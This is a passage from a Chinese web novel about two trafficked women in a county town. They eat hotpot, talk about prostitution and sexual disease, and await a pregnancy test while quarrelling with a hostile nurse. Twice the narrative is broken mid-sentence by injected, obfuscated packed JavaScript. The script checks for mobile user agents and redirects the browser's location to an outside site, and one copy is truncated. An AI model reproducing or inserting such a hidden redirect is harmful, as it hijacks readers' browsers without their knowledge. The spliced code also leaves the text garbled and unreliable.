后来等老伍死后几个月,小芳才弄懂爹当年没告诉自己的答案是什么,不就是男人身下多一根女人没有的肉做的棍子嘛! 村里小孩一起在河沟里洗澡时,她又不是没见过,丑不拉几的一坨,皱巴巴的可难看了,送她她都不要,那玩意儿居然还会跟女孩子的胸一样越长越大。 女孩子上身挺出两团肉多美? 不美干嘛村里的男人老是偷瞄?男人身下凸出一坨肉来,怎么没见谁去瞄着看?还不是因为丑! 不过那玩意儿也有它的方便,尿意上来了,找个墙角树根背过身就解决了,不像女的还要找个偏僻隐蔽角落藏起来,见不得人似的悄悄解决。 小芳对花姐说:“我是搞不懂重男轻女的人,他们谁不是从女人那儿出来的?” 花姐客观地说:“以前是,现在水平提高了,可以在肚子上划一刀,开膛剖腹弄出来。” “好嘛!”小芳换个角度说,“那他们总是从那儿进去的吧?” “这是必须的呀!” “那我就更看不惯了!”小芳说,“又需要我们女人又看不起我们女人,让他们跟男人生去呀!医学水平再提高点嘛,从他们后门进也能怀上!” 花姐被小芳满脸的控诉弄得嘎嘎笑。 小芳好担心她,“姐,别笑了,你肚子里的笑没了,我就完了!” “走!”花姐拍她背一把,“上街去,请姐姐吃饭!” 小芳捏着笔巨款,穿着病号服和花姐上街了。 她们进了县城一家四川人开的小火锅店,花姐清汤红汤各一半的锅底都不要,只要最辣的。 小芳跟她挣起来,“你自己出来这样吃可以,跟我就别了,你出事了,你男人不得和我拼命?!” 花姐骂她没良心,说来说去只担心她自己,做人做得像块滑不留手的肥皂。 小芳从菜单上抬头说:“真要滑不留手就不会被人卖到这里来了,明明是502,追着要粘人家身上!” 她把菜单递给花姐,花姐不客气地在上面打勾。 小芳说:“就我们两个女的,吃得完?” “吃你一顿饭你就舍不得了?”花姐白她一眼。 “吃不完多浪费?”小芳打小省吃俭用惯了,食物是发霉了都要将霉那块削掉,她顶见不惯浪费粮食。 “吃不完打包,行了吧?”花姐把菜单顺手递给服务员,很漂亮爽快的一递。 递份菜单被她搞得像掏钱付账般浮夸,小芳明白,是她男人的宠惯把她养得如此浮夸的。 锅底上来了,几大块没化的油,她们还得等油热化了才能下菜。 小芳闻见店里要掀顶的香气,才感到自己饿得厉害,抱怨道:“怎么把这种半成品给我们抬上来了?” 花姐为老板说话:“人家就怕你觉得是不干净的地沟油。” “啥是地沟油?”小芳问。 她在广州短短的几日游,还没接触到除人口拐卖外的其他阴暗面,比如食品安全问题。 “就是城里饭店附近下水道隔油池里的油,恶心死人,不晓得那些黑心肝的怎么弄的,吃起来味道倒是和真油没多大差别。” 小芳笑着说:“人家专业的技术能让你知道?怕你抢饭碗!” “去你的,你姐我看起来有那么心黑?” “对了,姐,问你些事,你可别生气,就当吃饭闲聊。”小芳自觉和花姐也算熟了,大起胆子来。 “你说。”花姐心想肯定不是好事。 “你先答应我不准生气!”小芳强硬道。 “你说嘛,怕我生气把火锅汤泼你身上?” “那倒不是。”谁知道呢?你可是把你男人脑袋也砸过洞的人。 “快说!”花姐被她勾得心急。 小芳说了,“就是大武哥家在县城里混得挺上道的吧?” “怎么?”花姐笑得贼眯眯的,“你看上他了?要来给我当妹妹?我是没意见,你愿意来陪我,我也当解闷。” “呸!”小芳把嘴里排骨吐出来,“你乱胡扯什么!” “那你想干嘛?问他有没有兄弟,都结婚了,你别想了,他兄弟长得连他都不如。” “我不是这意思!”小芳筷子磕桌上,表真心似的用力。 “好好好,我错了错了!”花姐比了个投降手势,毫无诚意地道歉。 小芳说:“我是想问,他在县城里又是房子又是店铺的,也会娶不到老婆?” 据小芳所知,大武家的条件,放到伍家村,十里八村的女孩谁不愿意嫁给他?退一万步,她们不愿意,她们全家也得把她们绑了去。 女婿顶半个儿,有个不得了的女婿,跟一人当兵,全家光荣似的。 “眼光高呗!”花姐说,“他妈看见他家一个亲戚就是在人fan子手里买了个浙江女人,看人家细皮嫩肉的眼馋了,嫌本地女人都粗糙,看上去比实际岁数大,配不上她儿子,也不瞧瞧自己儿子是个什么货色!” 小芳听笑话般笑起来,“人家浙江那些发达地方来的,她就不嫌她儿子配不上了是吧?” 老太婆年纪大了,牙口还更刁。 “你跟我当初听到后,骂得一模一样,”她夹一筷子肉放小芳碗里,“癞蛤蟆都不生的地方,本地没天鹅就要把人家外地的天鹅绑过来!” 遇上大武那种男人,花姐十分自信。 “那么大片地,怎么会没长得像样的女孩子?”小芳不信。 “这地方也跟我们老家一样,女孩都想跑出去,去大城市,这里又穷又土还不开化,还他妈的重男轻女,你是女孩你愿意留下来?一家人趴你身上吸血,还嫌你的血没男人的纯正,傻子才留这里,跑大地方找份活干,养活自己耳根子还清净,你说是你,你是走?还是留?” “你问我?”小芳手指指自己,“你看我会是留的?真是,害了他们当地女孩,还要来祸害我们外地的,真该死!” “当初那龟儿人fan子还骗他家说我是江苏本地的,还是个高中生,就凭这两样,多收了他们五千块,他听我骂人还问我,‘你说话咋半点不像个文化人?’,我说,‘老娘我|日|你全家,老娘小学都没毕业!’” 花姐又问小芳:“听过一个笑话没有?” “啥笑话?” “说是这里有个出去到深圳打工的女孩,在深圳被不晓得名堂的人fan子又喂了药拐过来,结果买她那家人吓一跳,把那女孩爹妈喊来了,人fan子被当场打死了,动手的人多了,警察也不好追责,只能算了。” “这就叫法不责众。”小芳文绉绉地解释道。 “你初中还教这些?”花姐惊叹道,“学的内容挺多呀!难道都说有知识好,我就喜欢听你说话,好玩还没酸腐气!” “我初中老师讲这些!” “真好,”花姐羡慕道,“早知道我当年死活也要赖在家里多读几年书!” “有屁用!该被骗还是被骗!” “也是,”花姐点点头,“新闻上女大学生被拐卖的也有,”她也文起来,“道高一尺魔高一丈!” 学校教育也许十年更新换代一次,但社会是日新月异。 两个女人在火锅店里,你骂一句,我骂一句地把这顿饭骂骂咧咧地吃完了。 结账时,小芳看见账单上的数字肉痛了好久,才不情愿地扯出两张钞票。 出了店,俩人都不想回医院,又去逛百货店。 来这里三四天了小芳,还第一次出医院逛,这里虽然和广州差远了,但也总比生活十几年的伍家村好。 花姐看她一脸新鲜样,笑着打击她:“这里全卖的是大地方淘汰下来的衣服,有啥稀罕的?”默了,她又补一句,“人也是大地方淘汰下来的。” 小芳听后,伤感涌上来把逛街的兴头冲走一半。 “走嘛,”花姐拉着她,“那家的鞋生意还不错,款式也适合你这种小姑娘穿,你不是想跑得天远地远嘛,想跑没双好鞋子怎么行?” 连试几双,店员都被她们搞烦了,花姐厚脸皮不管,只问小芳:“舒服不?跑哈跳哈看,别穿半路烂了,被逮回去。” 店员听不懂她们在说什么,但不想做她们这单生意的意思全写脸上。 “就这双吧!”小芳出门脸皮薄,她怕麻烦别人。 花姐却不干,她跟店员杠上了似的,“能不能退?管不管售后,你们一双鞋卖二三十,穿回去两下坏了怎么办?” 店员也不是肯受客户窝囊气的,刚听她们说什么“逮回去”之类的话,还当他们是要挑双好穿的鞋偷汉子,便讽刺回去:“当然能退换也保修,但我们店里是要问买回去怎么穿坏的。” 花姐说:“你们这巴掌大的县城管天管地,还管人家鞋买回去怎么穿烂的?哪门都管难怪又穷又土不开化,国家改革开放都多少年,这改革春风硬是吹不到你们这里来!” 她心里对拐来这件事仍然看不开,仍然要把她的窝火气平等地撒到这里每个人头上。 小芳怕她们吵起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650259|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧忙把钱付了拉花姐走。 花姐离店老远都还在骂:“妈的X,你看见她刚才那脸色没有,像老子们欠她二五八万一样,开店做生意还跟死了亲爹妈一样!” 小芳想,得亏我和你关系还不错,否则换我遇上你这种客人,也要被逼疯。 沿着人行道没走几步,小芳停住脚步。 一路和她说话的花姐说半天。没听见身边人应声,疑惑地转过头没见着人,一颗脑袋四面八方望,总算在一家旅馆门前看见小芳身影了。 花姐骂道:“你走出瞌睡了?站宾馆门口!” 花姐见小芳久久不言,脑子里有根神经“擦啦”响了下,小芳之前说的,怕不就是这家店了?睡了一次,当晚就被人药晕塞进拉杆箱卖了。 “走,”花姐拉起她,“你还要回味下那晚上?你在这里站久了,当心别人当你是卖的?” “卖的?”小芳迷惑。 这县城别看比广州后小多了,稀奇事还真不少,够小芳向花姐问“十万个为什么”了。 花姐告诉她:“哪里没有卖的?有男人的地方就有女人卖!” “卖什么?”小芳尚未完全意会,“你是说人fan子好多在那家旅馆里面卖人?不得行!”她挣脱花姐,“老娘要去警察局告他们龟儿的!” “你疯球了!”花姐劲比她更大,“我和你说的,不是一个意思!” “那你是什么意思?” “你不懂‘卖’?” 还会有女人不懂“卖”? “我怎么不懂卖?”小芳十分自信地拍拍胸口,“我以前每次赶集就去镇上卖!” “你卖?”花姐眼球都要鼓出眼眶了,“你和我说的怕不是一回事哦!” “你不是说卖?小芳疑惑不解,“我去镇上卖花椒海椒这些啊。” “你发什么疯?!”花姐要笑断气了,“我说的是女人跑出来卖!” “我就是女的啊,我不是去镇上卖?区别就是这里的女人卖东西不在街上,在旅馆里?”小芳想怎么不是一回事了? 花姐暧昧地眨眨眼,“我说那种买卖不好当街卖。” 当街卖跟公狗母|狗有啥区别?人再不要脸,也懂点体面。 等花姐找个地把卖|淫的意思解释给小芳听了,小芳才恍然大悟,“就是男女偷情啊!” “什么偷情?”花姐给出严格界限,“偷情顶多出个开房钱,卖是男人倒要给女人钱!” 当然,男人也可以为了钱把自己卖给女人,这世道就这点出息,钱和性说什么也分不开。 “这种事还能做生意?” “啥子都可以拿来做生意!” “妈的X,”小芳咬紧牙关骂,“我还不如人家卖自己的女人,我多傻?睡了我,还拿我赚钱!” “别这样贬低自己,”花姐把小芳和那类女人分开,“她们是鸡!你是人!” “鸡?我还鸭呢!”小芳听不进去,人家和男人睡一场有钱拿,她呢? “还真有鸭!”花姐笑死了,小芳这姑娘可太好玩了,“不过这里没有,我在江苏那两年听人说过,男人卖身就叫‘鸭’!” 小芳是开眼了,她惊叹:“这社会可真有意思,人能做牛做马,还可以当鸡当鸭!” 花姐又捧着肚皮笑了好半天,口水笑成几丝线状的涎。 花姐说:“‘鸡’还是广东那边传到全国的叫法,不过广东那边的人是很爱吃鸡。” “你说的是哪种鸡?”小芳懂了,一语双关起来。 花姐笑道:“那花样就多了,饭桌上有饭桌上的吃法,床上有床上的吃法!” 越说越下|流,小芳把接下来花姐还要继续的荤话给阻击了。 花姐从刚才的欢乐里恢复了些神志,和小芳正经道:“刚才那种话我就当你是气话,你以为当鸡的女人日子有你好过?” “那有啥区别?”小芳一副众生平等的口气,“我要是和孙少华结婚了,我就是批发的,把下半辈子所有跟男人睡的觉全批发给他了,人家鸡搞零售,次次都是钱货两清、现金交易,比我们这些结了婚的良家妇女划算多了,我们和他们睡完还得洗衣做饭、打扫卫生,人家鸡管这些?” “哦,”她想到什么说什么,“我们这种和人结婚的才该叫鸡,人家下蛋?我们才下蛋!” “日|你先人的!”花姐又猛笑起来,“你骂我啊?你又没跟他睡,你下什么蛋?姐姐我再过两个月才要下蛋!” 花姐笑完就打住小芳的滑坡思想,“你这些话,说出来当开玩笑就行了,别当真,你以为鸡真像你想的这样潇洒?得了脏病你就晓得了。” “得啥病?”小芳今天问题很多。 正好她们坐的路边长椅旁有跟电线杆子,花姐眼睛朝杆子上搜索了会儿,找到目标,手指指说:“这儿!得这些病!” 小芳跟小学生早读似的认真念出来,“男女淋病梅毒、尖锐湿疣、疱疹......” 这些字好复杂啊,她只能认字认半边,连猜带蒙地读。 “别念出来!”花姐打断她,“脏死了!” “这些就是脏病?” “你别信这上面写的,全是吹牛的,压根治不好,治好了人也废了,可真敢吹,就差没把艾滋写上去了!” “艾滋病?”这个她晓得,比癌症还厉害。 “对啊,”花姐说,“谁知道那些跟着施工队、煤矿区移动的鸡窝里有没有女人得这些病?那些男人死都是得风流病死的!” 小芳又想到一个紧要的问题,“男人要是结了婚还乱搞,一个染一个地染给自己老婆怎么办?” “敢染给老娘,老娘就连他全家带孩子都杀了!”花姐又唏嘘道,“女人结婚不就是看运气?所以我说你那个还真不错,反正你是听不进去!” “没办法,谁让他和人fan子串通好了?还大我十二岁,老不要脸的!” “你以为鸡里面就没有被人fan子拐骗的?多了去了!我和你算是被拐的女人里运气很好那类了,供吃供穿,再穷点的人家,两三个兄弟凑钱买一个女人,怀孕了都不晓得是谁的!” 花姐脸上全是“你别不惜福”。 小芳听完,喉咙口堵塞好久,“哇哇啦啦”地把刚在火锅店送进胃里绿的菜,白的肉全吐了出来。 臭气险乎把花姐这个孕妇也给弄吐了。 花姐脑筋转得飞快,霎时扳过小芳两个肩膀,神色严峻地问:“你和他戴|套没有?” 什么疯话?小芳心想。 她拿纸擦擦嘴说:“都和你说了我和他没——” 小芳和花姐两双眼对视上,她懂了,花姐说的“他”是另一个男人。 37.结果 今晚的303病房只有小芳独自一人。 她主动向花姐提出,让自己独处的要求,花姐很不放心,但看她态度强硬得没商量,也只取道回府。 从县城街上吐完往医院走的路上,小芳整个人几乎是挂在花姐身上走回去的。 到医院后,花姐笑着说,多亏她有一身肉,不然体内体外,一大一小两个净挂住她,没到地方她先倒下了。 花姐满心以为在这严峻时刻诙谐一下能松弛些气氛,小芳却嘴角都没带扯的,还是那副没从恐惧里没抽离懵样。 这种懵样,她过去在厂里见过一次,一个技术工仗着自己老资历,经常操作机器不按程序来,结果恰巧一次机器出故障,因他个人原因,他所在车间因为机器停工三天,损失于厂里而言不算什么,于他个人而言,从事故发生算到他退休,剩余十几年,他都要给厂里打工还债。 工厂还算讲人情,只把他开了,在他档案里留下了极不光彩的一笔,以后想要在其他厂干同岗位,除非人生重开。 当时那位老资历员工从厂里走出去时就和小芳此刻一样,尚未意识到自己闯了多大一场祸,要过很久,事后的恐慌才会追上他们。 老资历员工犯错,是因为他前面无数次不按规定操作,机器却运行无误,给了他优越感的同时,还有一丝叛逆的快意。 在事事强调服从纪律,集体大于个人,甚至集体泯灭个人的工厂,那一点点反叛的特别感,让他无聊的工作生出一点新意。 而小芳则是在身体刚成年而心灵还未成熟时,遇上一个身心早在社会里摸爬滚打惯了的老油条,如何让这个女孩心甘情愿地受引诱,所有步骤他都贴合她设计好,由不得她不上当。 小芳刚做完检查在外面等结果时,花姐还让她减轻负担,说:“我就是想到什么提一嘴,哪有那么准?你当娃娃说来就来?上街买菜啊!我小姑子可是坏了四年才怀上,你以为男人个个都百发百中?” 小芳心想:花姐安慰人的话跟她洗涮人比可够拙劣的,刚认识时,说自己来这里第一年就怀上了,三年抱俩的是谁? 人在别人遇上难题,自己又帮不上忙的时候,就会急迫地想要说些屁用不顶的宽慰话,明知这些话帮不了对方什么,但能让自己好过也行。 “姐,”小芳拆穿的口气,“我来这里后,女人每个月该来的玩意儿,我就没来。” 这事儿是女人的大事,每个女人都烦它,它来了你烦,不来你更烦,月经不准时来,不是怀孕就是身体有问题,能不烦? “你来这里才多久?”花姐还不死心,“不到两个月吧?女人一两个月没来不是很正常?我刚进厂里时,厂里专欺负新员工,夜班最多,个个月昼夜颠倒,我那玩意儿整整三个月没来!” 用完她小姑子举例,又用她自己,她是真把小芳当亲妹了。 小芳跟她杠上了似的,不吃她哄:“我来这里又没有昼夜颠倒,我天天吃好睡好,再说我从来月经起,除了头年不稳定后面月月没断过。” 听起来她的月经像体制内、编制内般稳定,退休也是按照国家法定退休年龄来。 “万一它这次就碰巧不准呢?”花姐也不示弱,“你刚来这地方水土不服,心情又烦,女人那玩意儿本来就跟心情关系大,它不来不是很正常?!” 两个人忽然陷入了一场争论怪圈,谁都想说服谁。 花姐是过来人,她心里十分清楚小芳这情况大概是八九不离十了,可她也搞不明白自己眼下为什么非要言不由衷地说些自己不信,小芳也不信的废话。 明明这些废话会在一个小时后出的检查报告下全部作废,可废话此刻就不受控地往外冒。 花姐突然发现,自己原来是个在关键时刻找不出解决办法,就会废话奇多的人,而过去她最瞧不上这种人。 人应该尽量少的瞧不起他人,保不齐自己会在未来某一时刻成为自己瞧不起的人。 小芳心里和花姐是差不离的怪异,怀孕当然是她最不想要的结果,自己都还跑不掉,弄个孩子出来拖着怎么跑? 但她内心非跟自己犟劲,说不清咬死怀孕是为最坏打算提前做好预防,不至于在拿到真正结果时昏阙;还是她在惩罚自己,惩罚轻易就受男人引诱的自己,越是重的惩罚越能警示人不再犯错,这次的惩罚如果搭上一条人命,她保证这辈子不会再在任何男人身上犯错。 花姐和小芳两个人争得险些吵起来。 小芳抢白:“肯定是怀上了,当时肉贴肉就进去了,啥子阻隔的都没有!” 花姐骂她:“你当你送子观音?弄两次就怀上了?你晓得这医院每天有多少女人来检查自己为什么是块不产出的盐碱地不?” “不止两次!光一晚上就不止两次!”小芳不是炫耀,是在阐述一个恐怖的事实,并以此提高自己和花姐在这场争执的胜率。 “狗日王八蛋这么能折腾,卖什么女人?广州又不缺收租婆,他把自己卖给那些婆娘,还用得着天南海北地给人把拐来的女人送货上门?” 小芳见花姐隐隐有点认她这边的账了,心下又慌了,晓得那些安慰话是废话,她也希望有个人能告诉她还有另外一种可能。 “你看嘛,你现在不也觉得我怀了?!”小芳逼花姐继续跟自己争,当下空寂的医院五楼妇产科走廊,只有她和花姐两个人坐着,不吵出点热闹来,全身阴森森的冷。 “怀了就怀了,”花姐下决心般吼一声,“怀了你不想要,它还能死赖着你,打了不就行了?!” “打了?!”这也是个小芳没敢想的结果,十八岁未婚先孕就打胎的女人放这社会是什么成分,不用想也知道,残花败柳、万人唾弃! 她就算给别人解释又怎么样?说自己是被人fan子拐骗的,人家听了便问:“是吗?我怎么听起来你很情愿?” “还不是怪你们这些女人自己不安分,老老实实待在老家,按你祖祖辈辈的生活方式过了,你能受骗?” “还不是你们这些落后的乡下人太愚昧,小小年纪就辍学,拒绝接受教育,教育都没受全就跑到外面的花花世界来,人家不骗你骗谁?送上门求人家骗!” “你们这些女人个个都觉得自己是山窝窝里藏不住的金凤凰,都想到大地方来攀高枝,虚荣、无知、轻信,就是你们这些缺陷把你们送去任人宰割、任人鱼肉的!” 小芳的故事是所有年纪轻轻,尚未能长出火眼金睛分辨社会上的妖魔鬼怪,便走出山区被引诱受骗而沦落、卖|淫、吸|毒、犯罪等女孩们的缩影,这些故事千篇一律。 千篇一律得几乎是每个堕落女人的谎言和借口。 她们每个人在向外界倾吐时,都会讲述自己是如何身不由己,如何不清不楚就落到坏人手里了。 而外界在唏嘘同情她们遭遇时,也带着点嫌弃、厌恶,说白了还不是虚荣心作祟? 你不虚荣,人家能跑进你老山旮旯的家里就把你拐了?女人安分守己总是没错的,不安分守己的女人就是送上去让人糟蹋。 小芳在街上憋了一路的眼泪,泄洪似的全涌了出来,她呜呜地哭,泪水把周围一切都模糊了,脑子里全是她想象出来的世人的指责。 花姐被她安静好会儿又猛烈爆发的哭声,吓一大跳,惊吓过去后,她也忍不住落泪。 小芳势头很猛,不可阻挡的眼泪把花姐感染了,两个距老家上千公里远的天涯沦落人抱在一起哭,这一刻全世界能懂彼此的只有她们俩。 花姐到底是当妈的,理智很快追上来,用手指边给小芳揩眼泪边说:“芳妹,你不是要走吗?咱手里又不是没钱,把娃儿在这医院做了,等身体养好,咱就离开,悄没声的,你跑了就当自己死这里了,跑出去的是再世为人的伍小芳,没人认识你,没人知道你是从头来过的。” 小芳还是哭,她搞不明白自己到底是做错什么了,非要脱胎换骨死一次才能重新做人。 她不就是想走出伍家村挣钱吗?人想挣钱有错?土生土长的城里人就不想挣钱了?凭啥那些人一个月能挣他们一年挣的钱,还挣得比他们轻松,不用面朝黄土背朝天? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654482|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对于种地她从小的感受就是:锄禾日当午,真的好痛苦! 她不就是爱错了人吗?人年轻时候爱错人就是什么该死的罪吗?怎么轮到她就万劫不复了呢?还得非要亲手去结束一条在她腹内已日趋成形的生命? 他妈的,王国富狗|日龟儿犯的错,凭什么要让她和孩子来承担,来抵命?该死不是王国富吗? “请保持安静!”妇产科室内一位护士走出来提醒她们。 刚才小芳和花姐吵闹的对话,护士和科室里的值班医生全听见了,没多稀罕。 她们这个科室嘛,与其他科室略微不同的是,喜事坏事各占一半,有人为怀上孩子喜就有人为怀上孩子哭。 眼前两个女人抱团哭得如此惊天动地,可想肚里可怜无辜的孩子是来得多么不合时宜,护士想,投胎投到这种女人肚里,简直是自找死路! 孩子投胎之前也是没长眼,那么多想被胎儿胀满的空肚子不去光临,偏投到视它为草芥的、不自爱的女人肚子里。 花姐本就厌恶这里的一切人和事,见护士戴着口罩只露出一双满是嫌恶的眼睛,立马就想到梅梅,心头那股自被卖到这里就没歇下去的窝火,倏地窜上来了。 “哭你也要管?你们医院被查出癌症来的病人和他们家人是哭少了,还是哭小声了?!” “你们也得了癌症嘛?!”护士上班上烦了的戾气也窜头了。 “没得癌症就不可以哭?我们要是怀娃儿了,心情就跟得癌症的怀了肿瘤一样!” 护士冷笑一声:“人家得癌症可不是自愿得的,你妹也是不自愿?我怎么听你们刚才在外面说,一晚上不止几次来着?痛快得防护措施都不做,现在倒想起哭了?” “所以嘛,妹儿,”花姐把头一转对小芳说,“我才喊你打了,要是怀十个月生出个这种婆娘来,不是毒害社会?” “你说谁毒害社会?”护士也不管她出科室是为了提醒她们安静,她嗓子起调调了,“我每天正正经经上班还毒害社会?你们这些不干不净搞出娃儿来的就不毒害社会了?你娃儿打下来,我们还要找地方扔呢!谁制造的垃圾?!” “放你妈的屁!”花姐调子更高,“国|家有没有禁止孕妇打胎?没禁止你敢说国|家都允许的事是毒害社会?” 好厉害的一个女人,护士心想,还当她是不讲理的泼妇文盲,结果她还能跟你把层次上升到国|家层面。 花姐吵架的套路都是趁着把人说懵,继续加足火力,以免对方从混沌的局面中理出头绪来。 花姐总结以上发言:“所以说,你们这些婆娘都是女人里的败类!” 护士想倒反天罡了,猛力回击道:“你妹这种和男人睡被扔了的破鞋,怀野娃儿的不是败类,我们这种老实上班挣死工资的倒成败类了?” “那你咋不去骂男人?”花姐横眼看她,脸都气得走形了,“我妹是被人fan子拐来的,你咋不骂糟蹋她的人fan子?逮不到犯罪的,就拿受害的出头?” 护士内心有点动容,但骄傲不允许她在这场口舌战争中败下阵,于是她口不择言地反唇相讥:“人fan子好负责哦!不仅给买女人当老婆的男人送老婆,还把娃儿都送上,买一送一了!” 护士这段话半个脏字没带,但含义够脏了,说完她自己都愣了下,像是被自己的刻薄和恶毒吓住了。 她想自己平时不是这样一个人啊,面前剽悍的女人是给自己下了什么蛊,把一个尖刻阴毒的女人附身上她了,才会说出如此泯灭良心的话? 小芳的哭声已经在花姐和护士吵架时停止了,她低头对着反光地面映出的另一个自己悲凉地笑了下,仿佛在和另一个自己说:“看,我没骗你吧,外人都是这样看待你的!” 刚才还跟个护崽母鸡似的花姐,瞬间脱力涣散,她冷淡疏离地看了护士一眼,要把对方排出女人这个族群,“你连理解病人都做不到,你配当护士?你连理解女人都做不到,你配当女人?” 这时科室里传来喊声:“012号伍小芳,你结果出来了。”